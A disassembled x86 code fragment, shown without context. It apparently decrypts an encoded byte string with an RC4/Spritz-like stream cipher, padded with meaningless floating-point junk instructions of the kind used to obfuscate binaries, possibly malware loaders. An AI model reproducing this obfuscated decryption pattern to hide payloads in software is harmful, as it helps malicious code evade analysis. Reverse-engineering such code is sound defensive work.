movzx edx, byte [ebp + ecx - 0x50cc]
mov eax, dword [ebp - 0x425c]
movzx ecx, byte [ebp + eax - 0x50cc]
xor ecx, edx
mov edx, dword [ebp - 0x425c]
mov byte [ebp + edx - 0x50cc], cl
mov eax, dword [ebp - 0x425c]
movzx ecx, byte [ebp + eax - 0x50cc]
mov edx, dword [ebp - 0x383c]
movzx eax, byte [ebp + edx - 0x50cc]
xor eax, ecx
mov ecx, dword [ebp - 0x383c]
mov byte [ebp + ecx - 0x50cc], al
jmp 0x435356
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x3262], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x3270], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x32b8], al
movss xmm0, dword [0xa7236c]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [0xa72264]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [0xa72160]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [0xa72048]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3514]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x33f8]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3518]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x33f8]
comiss xmm0, dword [ebp - 0x34bc]
jbe 0x43573f
movss xmm0, dword [ebp - 0x33f8]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3514]
subss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3514]
mulss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3514], xmm0
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x326f], al
jmp 0x435a08
movss xmm0, dword [ebp - 0x3514]
addss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3514]
addss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3514]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x3514]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x33f8]
divss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3514]
comiss xmm0, dword [ebp - 0x3518]
jbe 0x435875
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3514]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3514]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3514]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3514], xmm0
jmp 0x435a08
movss xmm0, dword [ebp - 0x34bc]
divss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x34bc]
divss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3514]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x3514]
addss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3514], xmm0
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3514]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x33f8]
addss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x34bc]
subss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x3518]
comiss xmm0, dword [ebp - 0x3514]
jbe 0x4359a8
movss xmm0, dword [ebp - 0x34bc]
divss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3514]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
jmp 0x435a08
movss xmm0, dword [ebp - 0x34bc]
divss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x34bc], xmm0
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x3514]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x34bc]
movss dword [ebp - 0x33f8], xmm0
movzx ecx, byte [ebp - 0x335b]
mov dl, byte [ebp + ecx - 0x50cc]
mov byte [ebp - 0x3285], dl
mov dword [ebp - 0x5114], 0x52
cmp dword [ebp - 0x5114], 2
jle 0x43819c
mov eax, dword [ebp - 0x5114]
and eax, 1
jne 0x43819c
mov dword [ebp - 0x3340], 0
mov dword [ebp - 0x34f4], 0
mov ecx, dword [ebp - 0x34f4]
add ecx, 1
mov dword [ebp - 0x34f4], ecx
mov dword [ebp - 0x36ec], 0
mov edx, dword [ebp - 0x3340]
shl edx, 1
mov dword [ebp - 0x36ec], edx
mov dword [ebp - 0x3614], 0
mov eax, dword [ebp - 0x36f0]
add eax, dword [ebp - 0x36ec]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3614]
mov dword [ebp - 0x3614], ecx
mov dword [ebp - 0x3618], 0
mov edx, dword [ebp - 0x3618]
add edx, 0xd2
mov dword [ebp - 0x3618], edx
mov dword [ebp - 0x36f4], 0
movsd xmm0, qword [0xa71e48]
movsd qword [ebp - 0x412c], xmm0
movsd xmm0, qword [0xa71d38]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [0xa71c50]
movsd qword [ebp - 0x470c], xmm0
movsd xmm0, qword [0xa71b20]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [0xa71a10]
movsd qword [ebp - 0x4144], xmm0
movsd xmm0, qword [0xa71860]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [0xa71700]
movsd qword [ebp - 0x4124], xmm0
movsd xmm0, qword [ebp - 0x4144]
subsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x4144], xmm0
movsd xmm0, qword [ebp - 0x470c]
mulsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x470c], xmm0
movsd xmm0, qword [ebp - 0x412c]
subsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x412c], xmm0
movsd xmm0, qword [ebp - 0x3d78]
subsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x411c]
addsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [ebp - 0x48f4]
addsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [ebp - 0x412c]
mulsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x412c], xmm0
movsd xmm0, qword [ebp - 0x4124]
comisd xmm0, xmmword [ebp - 0x412c]
jbe 0x435eb6
movsd xmm0, qword [ebp - 0x3d78]
divsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x3d78]
divsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x48f4]
subsd xmm0, qword [ebp - 0x470c]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [ebp - 0x3d78]
subsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x4124]
mulsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x4124], xmm0
movsd xmm0, qword [ebp - 0x4124]
mulsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x4124], xmm0
movsd xmm0, qword [ebp - 0x4144]
addsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x4144], xmm0
movsd xmm0, qword [ebp - 0x4144]
mulsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x4144], xmm0
movsd xmm0, qword [ebp - 0x412c]
divsd xmm0, qword [ebp - 0x48f4]
movsd qword [ebp - 0x412c], xmm0
movsd xmm0, qword [ebp - 0x3d78]
mulsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x4124]
subsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x4124], xmm0
movsd xmm0, qword [ebp - 0x470c]
mulsd xmm0, qword [ebp - 0x3d78]
movsd qword [ebp - 0x470c], xmm0
movsd xmm0, qword [ebp - 0x3d78]
subsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x3d78]
mulsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x412c]
comisd xmm0, xmmword [ebp - 0x411c]
jbe 0x435e09
movsd xmm0, qword [ebp - 0x411c]
subsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [ebp - 0x3d78]
addsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x3d78]
divsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x3d78]
addsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x3d78]
divsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x4124]
subsd xmm0, qword [ebp - 0x48f4]
movsd qword [ebp - 0x4124], xmm0
movsd xmm0, qword [ebp - 0x412c]
addsd xmm0, qword [ebp - 0x470c]
movsd qword [ebp - 0x412c], xmm0
jmp 0x435eb1
movsd xmm0, qword [ebp - 0x4144]
divsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x4144], xmm0
movsd xmm0, qword [ebp - 0x4144]
subsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x4144], xmm0
movsd xmm0, qword [ebp - 0x4124]
divsd xmm0, qword [ebp - 0x48f4]
movsd qword [ebp - 0x4124], xmm0
movsd xmm0, qword [ebp - 0x411c]
mulsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [ebp - 0x411c]
divsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [ebp - 0x412c]
subsd xmm0, qword [ebp - 0x470c]
movsd qword [ebp - 0x412c], xmm0
movsd xmm0, qword [ebp - 0x3d78]
subsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x3d78], xmm0
jmp 0x435f6e
movsd xmm0, qword [ebp - 0x3d78]
subsd xmm0, qword [ebp - 0x411c]
movsd qword [ebp - 0x3d78], xmm0
movsd xmm0, qword [ebp - 0x470c]
mulsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x470c], xmm0
movsd xmm0, qword [ebp - 0x411c]
addsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [ebp - 0x48f4]
mulsd xmm0, qword [ebp - 0x3d78]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [ebp - 0x411c]
mulsd xmm0, qword [ebp - 0x412c]
movsd qword [ebp - 0x411c], xmm0
movsd xmm0, qword [ebp - 0x470c]
subsd xmm0, qword [ebp - 0x4144]
movsd qword [ebp - 0x470c], xmm0
movsd xmm0, qword [ebp - 0x4144]
subsd xmm0, qword [ebp - 0x4124]
movsd qword [ebp - 0x4144], xmm0
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x36f4], ecx
mov dword [ebp - 0x361c], 0
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x361c]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x3620], 0
mov ecx, dword [ebp - 0x3620]
add ecx, 0xc7
mov dword [ebp - 0x3620], ecx
mov dword [ebp - 0x3624], 0
mov edx, dword [ebp - 0x3614]
sub edx, dword [ebp - 0x3618]
add edx, dword [ebp - 0x3624]
mov dword [ebp - 0x3624], edx
mov dword [ebp - 0x3628], 0
mov eax, dword [ebp - 0x361c]
sub eax, dword [ebp - 0x3620]
add eax, dword [ebp - 0x3628]
mov dword [ebp - 0x3628], eax
mov dword [ebp - 0x36f8], 0
mov ecx, dword [ebp - 0x3624]
shl ecx, 4
mov dword [ebp - 0x36f8], ecx
mov dword [ebp - 0x36fc], 0
mov edx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], edx
mov dword [ebp - 0x3700], 0
mov eax, dword [ebp - 0x36f8]
or eax, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], eax
mov byte [ebp - 0x32b7], 0
mov cl, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], cl
mov byte [ebp - 0x32b9], 0
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + edx - 0x50cc]
mov byte [ebp - 0x32b9], al
movsd xmm0, qword [0xa71f70]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [0xa71de8]
movsd qword [ebp - 0x41b4], xmm0
movsd xmm0, qword [0xa71a80]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x41b4]
subsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x41b4], xmm0
movsd xmm0, qword [ebp - 0x4004]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x4004]
mulsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x41b4]
comisd xmm0, xmmword [ebp - 0x4004]
jbe 0x436230
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x42c0]
mulsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x42c0]
divsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x41b4]
mulsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x41b4], xmm0
movsd xmm0, qword [ebp - 0x4004]
divsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x4004]
divsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x4004]
comisd xmm0, xmmword [ebp - 0x42c0]
jbe 0x4361e6
movsd xmm0, qword [ebp - 0x41b4]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x41b4], xmm0
movsd xmm0, qword [ebp - 0x4004]
addsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x4004], xmm0
jmp 0x43622e
movsd xmm0, qword [ebp - 0x4004]
subsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x41b4]
mulsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x41b4], xmm0
movsd xmm0, qword [ebp - 0x42c0]
divsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x42c0], xmm0
jmp 0x4362a5
movsd xmm0, qword [ebp - 0x4004]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4004], xmm0
movsd xmm0, qword [ebp - 0x42c0]
addsd xmm0, qword [ebp - 0x41b4]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x41b4]
subsd xmm0, qword [ebp - 0x4004]
movsd qword [ebp - 0x41b4], xmm0
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp - 0x3270]
add eax, edx
mov byte [ebp - 0x3270], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3285]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326f]
mov cl, byte [ebp + edx - 0x50cc]
mov byte [ebp + eax - 0x50cc], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32b9]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x32b9]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx eax, byte [ebp - 0x32b8]
add eax, edx
mov byte [ebp - 0x32b8], al
movsd xmm0, qword [0xa71e50]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [0xa71bf0]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [0xa71920]
movsd qword [ebp - 0x41a4], xmm0
movsd xmm0, qword [ebp - 0x4350]
addsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x4350]
subsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x3f88]
mulsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x3f88]
comisd xmm0, xmmword [ebp - 0x41a4]
jbe 0x43648a
movsd xmm0, qword [ebp - 0x41a4]
mulsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x41a4], xmm0
movsd xmm0, qword [ebp - 0x3f88]
mulsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x3f88]
mulsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x3f88], xmm0
movzx ecx, byte [ebp - 0x32b7]
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x50cc]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x50cc]
xor ecx, eax
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp + edx - 0x50cc]
movzx edx, byte [ebp - 0x3285]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
movzx edx, byte [ebp - 0x32b8]
movzx edx, byte [ebp + edx - 0x50cc]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp + eax - 0x50cc]
xor ecx, edx
mov byte [ebp - 0x326f], cl
jmp 0x4365be
movsd xmm0, qword [ebp - 0x4350]
divsd xmm0, qword [ebp - 0x3f88]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x3f88]
divsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x41a4]
mulsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x41a4], xmm0
movsd xmm0, qword [ebp - 0x4350]
divsd xmm0, qword [ebp - 0x3f88]
movsd qword [ebp - 0x4350], xmm0
movsd xmm0, qword [ebp - 0x3f88]
divsd xmm0, qword [ebp - 0x41a4]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x41a4]
mulsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x41a4], xmm0
movsd xmm0, qword [ebp - 0x4350]
comisd xmm0, xmmword [ebp - 0x41a4]
jbe 0x436576
movsd xmm0, qword [ebp - 0x3f88]
divsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x3f88]
subsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x41a4]
subsd xmm0, qword [ebp - 0x3f88]
movsd qword [ebp - 0x41a4], xmm0
jmp 0x4365be
movsd xmm0, qword [ebp - 0x3f88]
addsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x3f88]
mulsd xmm0, qword [ebp - 0x4350]
movsd qword [ebp - 0x3f88], xmm0
movsd xmm0, qword [ebp - 0x41a4]
addsd xmm0, qword [ebp - 0x3f88]
movsd qword [ebp - 0x41a4], xmm0
mov al, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], al
mov cl, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], cl
cmp dword [ebp - 0x3340], 0
jle 0x4365f5
movsx dx, byte [ebp - 0x330f]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x2ba], dx
mov ecx, dword [ebp - 0x34f4]
add ecx, 0x10
mov dword [ebp - 0x34f4], ecx
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x4b64], edx
jmp 0x436624
mov eax, dword [ebp - 0x4b64]
add eax, 1
mov dword [ebp - 0x4b64], eax
mov ecx, dword [ebp - 0x4b64]
cmp ecx, dword [ebp - 0x34f4]
jge 0x436886
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x3340], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x3614], edx
mov dword [ebp - 0x3618], 0xd2
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x36f4], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x3620], 0xc7
mov ecx, dword [ebp - 0x3614]
sub ecx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], ecx
mov edx, dword [ebp - 0x361c]
sub edx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], edx
mov eax, dword [ebp - 0x3624]
shl eax, 4
mov dword [ebp - 0x36f8], eax
mov ecx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x36f8]
or edx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], edx
mov al, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], al
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + ecx - 0x50cc]
mov byte [ebp - 0x32b9], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x3270]
add edx, ecx
mov byte [ebp - 0x3270], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32b9]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x32b9]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x32b8]
add edx, ecx
mov byte [ebp - 0x32b8], dl
movzx eax, byte [ebp - 0x32b7]
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
xor eax, edx
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x50cc]
movzx ecx, byte [ebp - 0x3285]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
movzx ecx, byte [ebp - 0x32b8]
movzx ecx, byte [ebp + ecx - 0x50cc]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x50cc]
movzx ecx, byte [ebp + edx - 0x50cc]
xor eax, ecx
mov byte [ebp - 0x326f], al
mov dl, byte [ebp - 0x32b7]
mov byte [ebp - 0x3285], dl
mov al, byte [ebp - 0x326f]
mov byte [ebp - 0x330f], al
cmp dword [ebp - 0x3340], 0
jle 0x436881
movsx cx, byte [ebp - 0x330f]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x2ba], cx
jmp 0x436615
mov eax, dword [ebp - 0x34f4]
add eax, 1
mov dword [ebp - 0x34f4], eax
mov ecx, dword [ebp - 0x3340]
add ecx, 1
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x34f4]
add edx, 1
mov dword [ebp - 0x34f4], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36f0]
add ecx, dword [ebp - 0x36ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x3614], edx
mov dword [ebp - 0x3618], 0xd2
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x36f4], ecx
mov edx, dword [ebp - 0x36f0]
add edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
mov dword [ebp - 0x361c], eax
mov dword [ebp - 0x3620], 0xc7
mov ecx, dword [ebp - 0x3614]
sub ecx, dword [ebp - 0x3618]
mov dword [ebp - 0x3624], ecx
mov edx, dword [ebp - 0x361c]
sub edx, dword [ebp - 0x3620]
mov dword [ebp - 0x3628], edx
mov eax, dword [ebp - 0x3624]
shl eax, 4
mov dword [ebp - 0x36f8], eax
mov ecx, dword [ebp - 0x3628]
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x36f8]
or edx, dword [ebp - 0x36fc]
mov dword [ebp - 0x3700], edx
mov al, byte [ebp - 0x3700]
mov byte [ebp - 0x32b7], al
movzx ecx, byte [ebp - 0x3285]
mov dl, byte [ebp + ecx - 0x50cc]
mov byte [ebp - 0x32b9], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x3270]
add edx, ecx
mov byte [ebp - 0x3270], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3285]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x50cc]
mov byte [ebp + edx - 0x50cc], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32b9]
mov byte [ebp + ecx - 0x50cc], dl
movzx eax, byte [ebp - 0x32b9]
movzx ecx, byte [ebp + eax - 0x50cc]
movzx edx, byte [ebp - 0x32b8]
add edx, ecx
mov byte [ebp - 0x32b8], dl
movzx eax, byte [ebp - 0x32b7]
movzx ecx, byte [ebp - 0x3270]
